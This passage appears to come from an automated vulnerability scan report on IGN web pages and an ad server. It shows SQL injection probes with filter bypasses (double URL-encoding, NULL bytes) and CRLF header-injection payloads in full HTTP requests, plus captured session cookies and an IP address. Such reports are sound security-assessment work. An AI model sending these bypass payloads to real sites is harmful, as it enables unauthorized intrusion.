The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /index/latest-updates.html?types=all HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%2527
Connection: close

Response 1

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-168970628-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:52 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043812413v-1n-12mc+1297043812413mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142369

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<SCRIPT LANGUAGE=VBScript\> \n');
document.write('on error resume next \n');
document.write('ShockMode = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.10")))\n');
document.write('<\/SCRIPT\>
...[SNIP]...

Request 2

GET /index/latest-updates.html?types=all HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%2527%2527
Connection: close

Response 2

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-1195048803-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:52 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043812820v-1n-12mc+1297043812820mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 137093

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

1.53. http://ps3.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ps3.ign.com
Path:	/index/latest-updates.html

Issue detail

Request 1

GET /index/latest-updates.html?1'=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:23 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:23 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-475650399-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:23 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043783213v-1n-12mc+1297043783213mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 147849

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<a href="http://www.eyewonderlabs.com/ct.cfm?ewbust=0&guid=0&ewadid=134339&eid=1409677&file=http://cdn.eyewonder.com/100125/766781/1409677/NOSCRIPTfailover.jpg&pnl=MainBanner&type=0&name=Clickthru-NOSCRIPT&num=1&time=0&diff=0&clkX=&clkY=&click=http://clk.redcated/IWC/go/277893011/direct/01/" target="_blank">
...[SNIP]...

Request 2

GET /index/latest-updates.html?1''=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-1595732039-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043784113v-1n-12mc+1297043784113mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 146050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

1.54. http://ps3.ign.com/index/psn-games.html [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ps3.ign.com
Path:	/index/psn-games.html

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /index/psn-games.html HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=%00'

Response 1

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1550130067-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:14 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043834114v-1n-12mc+1297043834114mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 189389

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All PlayStation Ne
...[SNIP]...
<SCRIPT LANGUAGE=VBScript\> \n');
document.write('on error resume next \n');
document.write('ShockMode = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.10")))\n');
document.write('<\/SCRIPT\>
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-1129407137-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:14 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043834739v-1n-12mc+1297043834739mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 184410

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All PlayStation Ne
...[SNIP]...

1.55. http://ps3.ign.com/index/videos.html [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ps3.ign.com
Path:	/index/videos.html

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /index/videos.html HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=%2527

Response 1

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-379166895-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043799833v-1n-12mc+1297043799833mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133197

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PS3: Games, Ch
...[SNIP]...
<SCRIPT LANGUAGE=VBScript\> \n');
document.write('on error resume next \n');
document.write('ShockMode = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.10")))\n');
document.write('<\/SCRIPT\>
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-1011077824-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043800449v-1n-12mc+1297043800449mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 128817

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PS3: Games, Ch
...[SNIP]...

1.56. http://xbox360.ign.com/ [optimizelyBuckets cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://xbox360.ign.com
Path:	/

Issue detail

Request 1

GET / HTTP/1.1
Host: xbox360.ign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; NGUserID=a016c06-15003-1306593845-5; optimizelyBuckets=%7B%224875108%22%3A4948008%7D'; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715.3.10.1297040497; rsi_segs=10089

Response 1

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:45:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:45:58 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043158538v-1n-12mc+1297043158538mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 165579

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Microsoft Xbox 360
...[SNIP]...
<SCRIPT LANGUAGE=VBScript\> \n');
document.write('on error resume next \n');
document.write('ShockMode = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.10")))\n');
document.write('<\/SCRIPT\>
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: xbox360.ign.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; NGUserID=a016c06-15003-1306593845-5; optimizelyBuckets=%7B%224875108%22%3A4948008%7D''; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715.3.10.1297040497; rsi_segs=10089

Response 2

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:45:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:45:59 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043158972v-1n-12mc+1297043158972mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 160917

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Microsoft Xbox 360
...[SNIP]...

2. HTTP header injection previous next
There are 18 instances of this issue:

http://bs.serving-sys.com/BurstingPipe/adServer.bs [eyeblaster cookie]
http://cheats.ign.com/ [freq cookie]
http://cheats.ign.com/index/cheats/index.html [freq cookie]
http://cheats.ign.com/index/nintendo-ds-cheats/index.html [freq cookie]
http://cheats.ign.com/index/pc-cheats/index.html [freq cookie]
http://cheats.ign.com/index/playstation-3-cheats/index.html [freq cookie]
http://cheats.ign.com/index/playstation-portable-cheats/index.html [freq cookie]
http://cheats.ign.com/index/wii-cheats/index.html [freq cookie]
http://cheats.ign.com/index/xbox-360-cheats/index.html [freq cookie]
http://cheats.ign.com/ob2/068/001/001317.html [freq cookie]
http://cheats.ign.com/ob2/068/038/038020.html [freq cookie]
http://cheats.ign.com/ob2/068/077/077644.html [freq cookie]
http://cheats.ign.com/ob2/068/077/077723.html [freq cookie]
http://cheats.ign.com/ob2/068/142/14235018.html [freq cookie]
http://cheats.ign.com/sendcheats.html [freq cookie]
http://corp.ign.com/properties/ign.html [freq cookie]
http://ubt.ign.com/record [Raisin2 cookie]
http://wrapper.ign.com/a [freq cookie]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

2.1. http://bs.serving-sys.com/BurstingPipe/adServer.bs [eyeblaster cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload cd1b1%0d%0a6f2d260b493 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2204830&PluID=0&w=300&h=250&ord=bxzjkud,bguRrwbbdpjbz&ucm=true&z=100 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://xbox360.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u3=1; C4=; ActivityInfo=000p81bCx%5f; eyeblaster=BWVal=2657&BWDate=40580.349144&debuglevel=&FLV=10.1103&RES=128&WMPV=0cd1b1%0d%0a6f2d260b493; A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gYRSaeKR09sO00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gFjwaeKR09sO00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001gHrHaeKS09sO00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001g+nBaeUD02Hn00001gNQ4ae7r0c9M00001ge4Hack+0bM000001; B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t58j4q0000000001t67GHq0000000001s.84ZE0000000001t684ZF0000000002t67FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=2657&BWDate=40580.349144&debuglevel=&FLV=10.1103&RES=128&WMPV=0cd1b1
6f2d260b493; expires=Sat, 07-May-2011 20: 45:48 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gLnTaeKR09sO00001gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gYRSaeKR09sO00001hghLaeWt09SF00001gFjwaeKR09sO00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001gHrHaeKS09sO00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001g+nBaeUD02Hn00001; expires=Sat, 07-May-2011 20:45:48 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=8qiu0000000001t67lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ84ZE0000000001t67GHq0000000001s.8j4q0000000001t67FCH0000000001s.84ZF0000000002t683xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.84U10000000001t687ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 20:45:48 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 20:45:48 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Mon, 07 Feb 2011 01:45:47 GMT
Connection: close
Content-Length: 1768

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

2.2. http://cheats.ign.com/ [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload ee68c%0d%0ac5d9e961de2 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET / HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0ee68c%0d%0ac5d9e961de2; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:47:11 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043231442v-2n-12mc+1297043231442mv+2mn+12wwe~0ee68c
c5d9e961de2;Path=/;Domain=.ign.com
Content-Length: 572974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.3. http://cheats.ign.com/index/cheats/index.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/cheats/index.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 4e5e4%0d%0a2709aba0b1e was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /index/cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
